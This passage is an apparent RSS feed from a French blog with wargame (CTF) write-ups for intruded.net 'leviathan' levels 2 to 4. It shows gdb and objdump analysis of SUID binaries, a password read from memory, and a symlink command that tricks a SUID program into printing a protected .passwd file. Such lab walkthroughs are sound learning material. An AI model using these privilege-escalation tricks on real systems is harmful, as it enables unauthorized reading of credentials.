<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">gdb</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> r
Starting program: <span style="color: #000000; font-weight: bold;">/</span>wargame<span style="color: #000000; font-weight: bold;">/</span>level4 
Enter the password<span style="color: #000000; font-weight: bold;">&gt;</span> lolilol  
&nbsp;
Breakpoint <span style="color: #000000;">1</span>, 0x080484e1 <span style="color: #000000; font-weight: bold;">in</span> do_stuff <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">gdb</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> x<span style="color: #000000; font-weight: bold;">/</span>2x <span style="color: #007800;">$esp</span>
0xbffff8c0:	0xbffff8dd	0xbffff9dd
<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">gdb</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> x<span style="color: #000000; font-weight: bold;">/</span>s 0xbffff8dd
0xbffff8dd:	 <span style="color: #ff0000;">&quot;lolilol<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">gdb</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> x<span style="color: #000000; font-weight: bold;">/</span>s 0xbffff9dd
0xbffff9dd:	 <span style="color: #ff0000;">&quot;snlprintf<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">gdb</span><span style="color: #7a0874; font-weight: bold;">&#41;</span></pre></td></tr></table></div>

<p>Voilà, on a le password du binaire (snlprintf), on ré-execute et on a un shell setuid level5, on va lire le fichier /home/level5/.passwd et c&#8217;est fini.</p>
<p>next?lol</p>
]]></content:encoded>
			<wfw:commentRss>http://whine.fr/2009/intruded-net-leviathan-%e2%80%93-level-4/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>intruded.net : leviathan – level #3</title>
		<link>http://whine.fr/2009/intruded-net-leviathan-%e2%80%93-level-3/</link>
		<comments>http://whine.fr/2009/intruded-net-leviathan-%e2%80%93-level-3/#comments</comments>
		<pubDate>Sat, 04 Jul 2009 10:35:39 +0000</pubDate>
		<dc:creator>Nyx0uf</dc:creator>
				<category><![CDATA[Challenge]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[intruded]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Sécurité]]></category>

		<guid isPermaLink="false">http://whine.fr/?p=84</guid>
		<description><![CDATA[Hop, dès qu&#8217;on est connecté level3 on file dans le répertoire /wargame, vu qu&#8217;il n&#8217;y a rien dans le dossier home. Une fois dans ce répertoire, et après l&#8217;avoir listé, on voit que le binaire prog est SUID level3 et level4, c&#8217;est donc notre cible. 1 2 level3@leviathan:/wargame$ ./prog Cannot find /tmp/file.log Apparament le binaire [...]]]></description>
			<content:encoded><![CDATA[<p>Hop, dès qu&#8217;on est connecté level3 on file dans le répertoire /wargame, vu qu&#8217;il n&#8217;y a rien dans le dossier home.<br />
Une fois dans ce répertoire, et après l&#8217;avoir listé, on voit que le binaire <i>prog</i> est SUID level3 et level4, c&#8217;est donc notre cible.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;">level3<span style="color: #000000; font-weight: bold;">@</span>leviathan:<span style="color: #000000; font-weight: bold;">/</span>wargame$ .<span style="color: #000000; font-weight: bold;">/</span>prog
Cannot <span style="color: #c20cb9; font-weight: bold;">find</span> <span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>file.log</pre></td></tr></table></div>

<p>Apparament le binaire essaie d&#8217;ouvrir le fichier file.log dans le répertoire /tmp.<br />
Pour confirmer on peut désassember le binaire, mais ce n&#8217;est vraiment pas nécessaire.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
</pre></td><td class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #adadad; font-style: italic;">8048</span><span style="color: #0000ff;">564</span><span style="color: #339933;">:</span>	e8 <span style="color: #0000ff;">07</span> ff ff ff       	<span style="color: #00007f; font-weight: bold;">call</span>   <span style="color: #0000ff;">8048470</span> &lt;fopen@plt&gt;
<span style="color: #adadad; font-style: italic;">8048</span><span style="color: #0000ff;">569</span><span style="color: #339933;">:</span>	<span style="color: #0000ff;">89</span> <span style="color: #0000ff;">45</span> f4             	<span style="color: #00007f; font-weight: bold;">mov</span>    <span style="color: #339933;">%</span><span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0xfffffff4</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">ebp</span><span style="color: #009900; font-weight: bold;">&#41;</span>
<span style="color: #adadad; font-style: italic;">8048</span>56c<span style="color: #339933;">:</span>	<span style="color: #0000ff;">83</span> 7d f4 <span style="color: #0000ff;">00</span>          	cmpl   $<span style="color: #0000ff;">0x0</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0xfffffff4</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">ebp</span><span style="color: #009900; font-weight: bold;">&#41;</span>
<span style="color: #adadad; font-style: italic;">8048</span><span style="color: #0000ff;">570</span><span style="color: #339933;">:</span>	<span style="color: #0000ff;">75</span> <span style="color: #0000ff;">18</span>                	<span style="color: #00007f; font-weight: bold;">jne</span>    804858a &lt;main<span style="color: #339933;">+</span><span style="color: #0000ff;">0x46</span>&gt;
<span style="color: #adadad; font-style: italic;">8048</span><span style="color: #0000ff;">572</span><span style="color: #339933;">:</span>	c7 <span style="color: #0000ff;">04</span> <span style="color: #0000ff;">24</span> <span style="color: #0000ff;">08</span> <span style="color: #0000ff;">87</span> <span style="color: #0000ff;">04</span> <span style="color: #0000ff;">08</span> 	movl   $<span style="color: #0000ff;">0x8048708</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">esp</span><span style="color: #009900; font-weight: bold;">&#41;</span>
<span style="color: #adadad; font-style: italic;">8048</span><span style="color: #0000ff;">579</span><span style="color: #339933;">:</span>	e8 a2 fe ff ff       	<span style="color: #00007f; font-weight: bold;">call</span>   <span style="color: #0000ff;">8048420</span> &lt;puts@plt&gt;
<span style="color: #adadad; font-style: italic;">8048</span>57e<span style="color: #339933;">:</span>	c7 <span style="color: #0000ff;">04</span> <span style="color: #0000ff;">24</span> ff ff ff ff 	movl   $<span style="color: #0000ff;">0xffffffff</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">esp</span><span style="color: #009900; font-weight: bold;">&#41;</span>
<span style="color: #adadad; font-style: italic;">8048</span><span style="color: #0000ff;">585</span><span style="color: #339933;">:</span>	e8 d6 fe ff ff       	<span style="color: #00007f; font-weight: bold;">call</span>   <span style="color: #0000ff;">8048460</span> &lt;<span style="color: #000000; font-weight: bold;">exit</span>@plt&gt;
<span style="color: #adadad; font-style: italic;">8048</span>58a<span style="color: #339933;">:</span>	8b <span style="color: #0000ff;">45</span> f4             	<span style="color: #00007f; font-weight: bold;">mov</span>    <span style="color: #0000ff;">0xfffffff4</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">ebp</span><span style="color: #009900; font-weight: bold;">&#41;</span><span style="color: #339933;">,%</span><span style="color: #00007f;">eax</span>
<span style="color: #adadad; font-style: italic;">8048</span>58d<span style="color: #339933;">:</span>	<span style="color: #0000ff;">89</span> <span style="color: #0000ff;">04</span> <span style="color: #0000ff;">24</span>             	<span style="color: #00007f; font-weight: bold;">mov</span>    <span style="color: #339933;">%</span><span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">esp</span><span style="color: #009900; font-weight: bold;">&#41;</span>
<span style="color: #adadad; font-style: italic;">8048</span><span style="color: #0000ff;">590</span><span style="color: #339933;">:</span>	e8 4b fe ff ff       	<span style="color: #00007f; font-weight: bold;">call</span>   <span style="color: #0000ff;">80483e0</span> &lt;fgetc@plt&gt;
<span style="color: #adadad; font-style: italic;">8048</span><span style="color: #0000ff;">595</span><span style="color: #339933;">:</span>	<span style="color: #0000ff;">88</span> <span style="color: #0000ff;">45</span> fb             	<span style="color: #00007f; font-weight: bold;">mov</span>    <span style="color: #339933;">%</span><span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0xfffffffb</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">ebp</span><span style="color: #009900; font-weight: bold;">&#41;</span>
<span style="color: #adadad; font-style: italic;">8048</span><span style="color: #0000ff;">598</span><span style="color: #339933;">:</span>	8b <span style="color: #0000ff;">45</span> f4             	<span style="color: #00007f; font-weight: bold;">mov</span>    <span style="color: #0000ff;">0xfffffff4</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">ebp</span><span style="color: #009900; font-weight: bold;">&#41;</span><span style="color: #339933;">,%</span><span style="color: #00007f;">eax</span>
<span style="color: #adadad; font-style: italic;">8048</span>59b<span style="color: #339933;">:</span>	<span style="color: #0000ff;">89</span> <span style="color: #0000ff;">04</span> <span style="color: #0000ff;">24</span>             	<span style="color: #00007f; font-weight: bold;">mov</span>    <span style="color: #339933;">%</span><span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">esp</span><span style="color: #009900; font-weight: bold;">&#41;</span>
<span style="color: #adadad; font-style: italic;">8048</span>59e<span style="color: #339933;">:</span>	e8 4d fe ff ff       	<span style="color: #00007f; font-weight: bold;">call</span>   80483f0 &lt;feof@plt&gt;
<span style="color: #adadad; font-style: italic;">8048</span>5a3<span style="color: #339933;">:</span>	<span style="color: #0000ff;">85</span> c0                	<span style="color: #00007f; font-weight: bold;">test</span>   <span style="color: #339933;">%</span><span style="color: #00007f;">eax</span><span style="color: #339933;">,%</span><span style="color: #00007f;">eax</span>
<span style="color: #adadad; font-style: italic;">8048</span>5a5<span style="color: #339933;">:</span>	<span style="color: #0000ff;">75</span> 0e                	<span style="color: #00007f; font-weight: bold;">jne</span>    80485b5 &lt;main<span style="color: #339933;">+</span><span style="color: #0000ff;">0x71</span>&gt;
<span style="color: #adadad; font-style: italic;">8048</span>5a7<span style="color: #339933;">:</span>	<span style="color: #0000ff;">0f</span> be <span style="color: #0000ff;">45</span> fb          	movsbl <span style="color: #0000ff;">0xfffffffb</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">ebp</span><span style="color: #009900; font-weight: bold;">&#41;</span><span style="color: #339933;">,%</span><span style="color: #00007f;">eax</span>
<span style="color: #adadad; font-style: italic;">8048</span>5ab<span style="color: #339933;">:</span>	<span style="color: #0000ff;">89</span> <span style="color: #0000ff;">04</span> <span style="color: #0000ff;">24</span>             	<span style="color: #00007f; font-weight: bold;">mov</span>    <span style="color: #339933;">%</span><span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">esp</span><span style="color: #009900; font-weight: bold;">&#41;</span>
<span style="color: #adadad; font-style: italic;">8048</span>5ae<span style="color: #339933;">:</span>	e8 5d fe ff ff       	<span style="color: #00007f; font-weight: bold;">call</span>   <span style="color: #0000ff;">8048410</span> &lt;putchar@plt&gt;
<span style="color: #adadad; font-style: italic;">8048</span>5b3<span style="color: #339933;">:</span>	eb d5                	<span style="color: #00007f; font-weight: bold;">jmp</span>    804858a &lt;main<span style="color: #339933;">+</span><span style="color: #0000ff;">0x46</span>&gt;
<span style="color: #adadad; font-style: italic;">8048</span>5b5<span style="color: #339933;">:</span>	8b <span style="color: #0000ff;">45</span> f4             	<span style="color: #00007f; font-weight: bold;">mov</span>    <span style="color: #0000ff;">0xfffffff4</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">ebp</span><span style="color: #009900; font-weight: bold;">&#41;</span><span style="color: #339933;">,%</span><span style="color: #00007f;">eax</span>
<span style="color: #adadad; font-style: italic;">8048</span>5b8<span style="color: #339933;">:</span>	<span style="color: #0000ff;">89</span> <span style="color: #0000ff;">04</span> <span style="color: #0000ff;">24</span>             	<span style="color: #00007f; font-weight: bold;">mov</span>    <span style="color: #339933;">%</span><span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">esp</span><span style="color: #009900; font-weight: bold;">&#41;</span>
<span style="color: #adadad; font-style: italic;">8048</span>5bb<span style="color: #339933;">:</span>	e8 <span style="color: #0000ff;">90</span> fe ff ff       	<span style="color: #00007f; font-weight: bold;">call</span>   <span style="color: #0000ff;">8048450</span> &lt;fclose@plt&gt;
<span style="color: #adadad; font-style: italic;">8048</span>5c0<span style="color: #339933;">:</span>	e8 7b fe ff ff       	<span style="color: #00007f; font-weight: bold;">call</span>   <span style="color: #0000ff;">8048440</span> &lt;getuid@plt&gt;
<span style="color: #adadad; font-style: italic;">8048</span>5c5<span style="color: #339933;">:</span>	<span style="color: #0000ff;">89</span> <span style="color: #0000ff;">04</span> <span style="color: #0000ff;">24</span>             	<span style="color: #00007f; font-weight: bold;">mov</span>    <span style="color: #339933;">%</span><span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">esp</span><span style="color: #009900; font-weight: bold;">&#41;</span>
<span style="color: #adadad; font-style: italic;">8048</span>5c8<span style="color: #339933;">:</span>	e8 b3 fe ff ff       	<span style="color: #00007f; font-weight: bold;">call</span>   <span style="color: #0000ff;">8048480</span> &lt;setuid@plt&gt;
<span style="color: #adadad; font-style: italic;">8048</span>5cd<span style="color: #339933;">:</span>	c7 <span style="color: #0000ff;">04</span> <span style="color: #0000ff;">24</span> fa <span style="color: #0000ff;">86</span> <span style="color: #0000ff;">04</span> <span style="color: #0000ff;">08</span> 	movl   $<span style="color: #0000ff;">0x80486fa</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">esp</span><span style="color: #009900; font-weight: bold;">&#41;</span>
<span style="color: #adadad; font-style: italic;">8048</span>5d4<span style="color: #339933;">:</span>	e8 <span style="color: #0000ff;">27</span> fe ff ff       	<span style="color: #00007f; font-weight: bold;">call</span>   <span style="color: #0000ff;">8048400</span> &lt;unlink@plt&gt;</pre></td></tr></table></div>

<p>Pour résumer, on lit un caractère (<i>fgetc()</i>) et on l&#8217;affiche (<i>putchar()</i>) tant qu&#8217;on est pas à la fin du fichier.</p>
<p>étant donné que le binaire est SUID level4 il nous permet de lire des fichiers SUID level4, et comme le fichier /home/level4/.passwd appartient à level4, il nous reste qu’à faire un lien dessus et le tour est joué <img src='http://whine.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">ln</span> <span style="color: #660033;">-s</span> <span style="color: #000000; font-weight: bold;">/</span>home<span style="color: #000000; font-weight: bold;">/</span>level4<span style="color: #000000; font-weight: bold;">/</span>.passwd <span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>file.log</pre></td></tr></table></div>

<p>Voilà, on ré-execute le binaire et on a le password <img src='http://whine.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>next?lol</p>
]]></content:encoded>
			<wfw:commentRss>http://whine.fr/2009/intruded-net-leviathan-%e2%80%93-level-3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>intruded.net : leviathan – level #2</title>
		<link>http://whine.fr/2009/intruded-net-leviathan-%e2%80%93-level-2/</link>
		<comments>http://whine.fr/2009/intruded-net-leviathan-%e2%80%93-level-2/#comments</comments>
		<pubDate>Thu, 02 Jul 2009 17:22:32 +0000</pubDate>
		<dc:creator>Nyx0uf</dc:creator>
				<category><![CDATA[Challenge]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[intruded]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Sécurité]]></category>

		<guid isPermaLink="false">http://whine.fr/?p=64</guid>
		<description><![CDATA[Bon on se connecte sur le serveur avec l'user level2 est le password récupéré précédemment, comme pour le level précédent, on fait un petit <i>ls</i> histoire de voir si il y a quelque chose d'utile.
Manque de bol, cette fois il n'y a rien, donc <i>cd /wargame.</i>]]></description>
			<content:encoded><![CDATA[<p>Bon on se connecte sur le serveur avec l&#8217;user level2 est le password récupéré précédemment, comme pour le level précédent, on fait un petit <i>ls</i> histoire de voir si il y a quelque chose d&#8217;utile.<br />
Manque de bol, cette fois il n&#8217;y a rien, donc <i>cd /wargame.</i></p>
<p><span id="more-64"></span><br />
On va commencer par liste le dossier :</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;">level2<span style="color: #000000; font-weight: bold;">@</span>leviathan:<span style="color: #000000; font-weight: bold;">/</span>wargame$ <span style="color: #c20cb9; font-weight: bold;">ls</span> <span style="color: #660033;">-al</span>
total <span style="color: #000000;">48</span>
drwxr-xr-x  <span style="color: #000000;">2</span> root   root   <span style="color: #000000;">4096</span> <span style="color: #000000;">2008</span>-03-<span style="color: #000000;">26</span> 02:<span style="color: #000000;">41</span> .
drwxr-xr-x <span style="color: #000000;">22</span> root   root   <span style="color: #000000;">4096</span> <span style="color: #000000;">2008</span>-03-<span style="color: #000000;">26</span> 02:<span style="color: #000000;">54</span> ..
<span style="color: #660033;">-r-sr-s---</span>  <span style="color: #000000;">1</span> level3 level2 <span style="color: #000000;">7738</span> <span style="color: #000000;">2008</span>-03-<span style="color: #000000;">26</span> 02:<span style="color: #000000;">31</span> check
<span style="color: #660033;">-r-sr-s---</span>  <span style="color: #000000;">1</span> level5 level4 <span style="color: #000000;">8090</span> <span style="color: #000000;">2008</span>-03-<span style="color: #000000;">26</span> 02:<span style="color: #000000;">33</span> level4
<span style="color: #660033;">-r-sr-s---</span>  <span style="color: #000000;">1</span> level7 level6 <span style="color: #000000;">7696</span> <span style="color: #000000;">2008</span>-03-<span style="color: #000000;">26</span> 02:<span style="color: #000000;">34</span> printfile
<span style="color: #660033;">-r-sr-s---</span>  <span style="color: #000000;">1</span> level4 level3 <span style="color: #000000;">8051</span> <span style="color: #000000;">2008</span>-03-<span style="color: #000000;">26</span> 02:<span style="color: #000000;">51</span> prog
<span style="color: #660033;">-r-sr-s---</span>  <span style="color: #000000;">1</span> level8 level7 <span style="color: #000000;">7661</span> <span style="color: #000000;">2008</span>-03-<span style="color: #000000;">26</span> 02:<span style="color: #000000;">35</span> sphinx</pre></td></tr></table></div>

<p>Là on voit que le binaire <i>check</i> est SUID level2 et level3, c&#8217;est donc celui qui nous intéresse, exécutons le :</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;">level2<span style="color: #000000; font-weight: bold;">@</span>leviathan:<span style="color: #000000; font-weight: bold;">/</span>wargame$ .<span style="color: #000000; font-weight: bold;">/</span>check
password: stoilepass
Wrong password, Good Bye ...
level2<span style="color: #000000; font-weight: bold;">@</span>leviathan:<span style="color: #000000; font-weight: bold;">/</span>wargame$</pre></td></tr></table></div>

<p>Fallait s&#8217;y attendre, on se fait méchament chasser <img src='http://whine.fr/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /><br />
On va donc se servir de objdump pour désassembler le binaire, si vous ne connaissez pas la commande, lisez le man.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;">objdump <span style="color: #660033;">-d</span> .<span style="color: #000000; font-weight: bold;">/</span>check</pre></td></tr></table></div>


<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
</pre></td><td class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #adadad; font-style: italic;">8048</span>4bb<span style="color: #339933;">:</span>	e8 d8 fe ff ff       	<span style="color: #00007f; font-weight: bold;">call</span>   <span style="color: #0000ff;">8048398</span> &lt;printf@plt&gt;
<span style="color: #adadad; font-style: italic;">8048</span>4c0<span style="color: #339933;">:</span>	e8 <span style="color: #0000ff;">73</span> fe ff ff       	<span style="color: #00007f; font-weight: bold;">call</span>   <span style="color: #0000ff;">8048338</span> &lt;getchar@plt&gt;
<span style="color: #adadad; font-style: italic;">8048</span>4c5<span style="color: #339933;">:</span>	<span style="color: #0000ff;">88</span> <span style="color: #0000ff;">45</span> f7             	<span style="color: #00007f; font-weight: bold;">mov</span>    <span style="color: #339933;">%</span><span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0xfffffff7</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">ebp</span><span style="color: #009900; font-weight: bold;">&#41;</span>
<span style="color: #adadad; font-style: italic;">8048</span>4c8<span style="color: #339933;">:</span>	e8 6b fe ff ff       	<span style="color: #00007f; font-weight: bold;">call</span>   <span style="color: #0000ff;">8048338</span> &lt;getchar@plt&gt;
<span style="color: #adadad; font-style: italic;">8048</span>4cd<span style="color: #339933;">:</span>	<span style="color: #0000ff;">88</span> <span style="color: #0000ff;">45</span> f8             	<span style="color: #00007f; font-weight: bold;">mov</span>    <span style="color: #339933;">%</span><span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0xfffffff8</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">ebp</span><span style="color: #009900; font-weight: bold;">&#41;</span>
<span style="color: #adadad; font-style: italic;">8048</span>4d0<span style="color: #339933;">:</span>	e8 <span style="color: #0000ff;">63</span> fe ff ff       	<span style="color: #00007f; font-weight: bold;">call</span>   <span style="color: #0000ff;">8048338</span> &lt;getchar@plt&gt;
<span style="color: #adadad; font-style: italic;">8048</span>4d5<span style="color: #339933;">:</span>	<span style="color: #0000ff;">88</span> <span style="color: #0000ff;">45</span> f9             	<span style="color: #00007f; font-weight: bold;">mov</span>    <span style="color: #339933;">%</span><span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0xfffffff9</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">ebp</span><span style="color: #009900; font-weight: bold;">&#41;</span>
<span style="color: #adadad; font-style: italic;">8048</span>4d8<span style="color: #339933;">:</span>	c6 <span style="color: #0000ff;">45</span> fa <span style="color: #0000ff;">00</span>          	movb   $<span style="color: #0000ff;">0x0</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0xfffffffa</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">ebp</span><span style="color: #009900; font-weight: bold;">&#41;</span>
<span style="color: #adadad; font-style: italic;">8048</span>4dc<span style="color: #339933;">:</span>	8d <span style="color: #0000ff;">45</span> f3             	<span style="color: #00007f; font-weight: bold;">lea</span>    <span style="color: #0000ff;">0xfffffff3</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">ebp</span><span style="color: #009900; font-weight: bold;">&#41;</span><span style="color: #339933;">,%</span><span style="color: #00007f;">eax</span>
<span style="color: #adadad; font-style: italic;">8048</span>4df<span style="color: #339933;">:</span>	<span style="color: #0000ff;">89</span> <span style="color: #0000ff;">44</span> <span style="color: #0000ff;">24</span> <span style="color: #0000ff;">04</span>          	<span style="color: #00007f; font-weight: bold;">mov</span>    <span style="color: #339933;">%</span><span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0x4</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">esp</span><span style="color: #009900; font-weight: bold;">&#41;</span>
<span style="color: #adadad; font-style: italic;">8048</span><span style="color: #0000ff;">4e3</span><span style="color: #339933;">:</span>	8d <span style="color: #0000ff;">45</span> f7             	<span style="color: #00007f; font-weight: bold;">lea</span>    <span style="color: #0000ff;">0xfffffff7</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">ebp</span><span style="color: #009900; font-weight: bold;">&#41;</span><span style="color: #339933;">,%</span><span style="color: #00007f;">eax</span>
<span style="color: #adadad; font-style: italic;">8048</span><span style="color: #0000ff;">4e6</span><span style="color: #339933;">:</span>	<span style="color: #0000ff;">89</span> <span style="color: #0000ff;">04</span> <span style="color: #0000ff;">24</span>             	<span style="color: #00007f; font-weight: bold;">mov</span>    <span style="color: #339933;">%</span><span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">esp</span><span style="color: #009900; font-weight: bold;">&#41;</span>
<span style="color: #adadad; font-style: italic;">8048</span><span style="color: #0000ff;">4e9</span><span style="color: #339933;">:</span>	e8 5a fe ff ff       	<span style="color: #00007f; font-weight: bold;">call</span>   <span style="color: #0000ff;">8048348</span> &lt;strcmp@plt&gt;
<span style="color: #adadad; font-style: italic;">8048</span>4ee<span style="color: #339933;">:</span>	<span style="color: #0000ff;">85</span> c0                	<span style="color: #00007f; font-weight: bold;">test</span>   <span style="color: #339933;">%</span><span style="color: #00007f;">eax</span><span style="color: #339933;">,%</span><span style="color: #00007f;">eax</span>
<span style="color: #adadad; font-style: italic;">8048</span>4f0<span style="color: #339933;">:</span>	<span style="color: #0000ff;">75</span> 1a                	<span style="color: #00007f; font-weight: bold;">jne</span>    804850c &lt;main<span style="color: #339933;">+</span><span style="color: #0000ff;">0xa8</span>&gt;
<span style="color: #adadad; font-style: italic;">8048</span>4f2<span style="color: #339933;">:</span>	c7 <span style="color: #0000ff;">04</span> <span style="color: #0000ff;">24</span> ea <span style="color: #0000ff;">03</span> <span style="color: #0000ff;">00</span> <span style="color: #0000ff;">00</span> 	movl   $<span style="color: #0000ff;">0x3ea</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">esp</span><span style="color: #009900; font-weight: bold;">&#41;</span>
<span style="color: #adadad; font-style: italic;">8048</span>4f9<span style="color: #339933;">:</span>	e8 5a fe ff ff       	<span style="color: #00007f; font-weight: bold;">call</span>   <span style="color: #0000ff;">8048358</span> &lt;seteuid@plt&gt;
<span style="color: #adadad; font-style: italic;">8048</span>4fe<span style="color: #339933;">:</span>	c7 <span style="color: #0000ff;">04</span> <span style="color: #0000ff;">24</span> <span style="color: #0000ff;">43</span> <span style="color: #0000ff;">86</span> <span style="color: #0000ff;">04</span> <span style="color: #0000ff;">08</span> 	movl   $<span style="color: #0000ff;">0x8048643</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">esp</span><span style="color: #009900; font-weight: bold;">&#41;</span>
<span style="color: #adadad; font-style: italic;">8048</span><span style="color: #0000ff;">505</span><span style="color: #339933;">:</span>	e8 5e fe ff ff       	<span style="color: #00007f; font-weight: bold;">call</span>   <span style="color: #0000ff;">8048368</span> &lt;system@plt&gt;
<span style="color: #adadad; font-style: italic;">8048</span>50a<span style="color: #339933;">:</span>	eb 0c                	<span style="color: #00007f; font-weight: bold;">jmp</span>    <span style="color: #0000ff;">8048518</span> &lt;main<span style="color: #339933;">+</span><span style="color: #0000ff;">0xb4</span>&gt;
<span style="color: #adadad; font-style: italic;">8048</span>50c<span style="color: #339933;">:</span>	c7 <span style="color: #0000ff;">04</span> <span style="color: #0000ff;">24</span> 4b <span style="color: #0000ff;">86</span> <span style="color: #0000ff;">04</span> <span style="color: #0000ff;">08</span> 	movl   $<span style="color: #0000ff;">0x804864b</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#40;</span><span style="color: #339933;">%</span><span style="color: #00007f;">esp</span><span style="color: #009900; font-weight: bold;">&#41;</span>
<span style="color: #adadad; font-style: italic;">8048</span><span style="color: #0000ff;">513</span><span style="color: #339933;">:</span>	e8 <span style="color: #0000ff;">60</span> fe ff ff       	<span style="color: #00007f; font-weight: bold;">call</span>   <span style="color: #0000ff;">8048378</span> &lt;puts@plt&gt;
<span style="color: #adadad; font-style: italic;">8048</span><span style="color: #0000ff;">518</span><span style="color: #339933;">:</span>	<span style="color: #0000ff;">83</span> c4 <span style="color: #0000ff;">34</span>             	<span style="color: #00007f; font-weight: bold;">add</span>    $<span style="color: #0000ff;">0x34</span><span style="color: #339933;">,%</span><span style="color: #00007f;">esp</span></pre></td></tr></table></div>

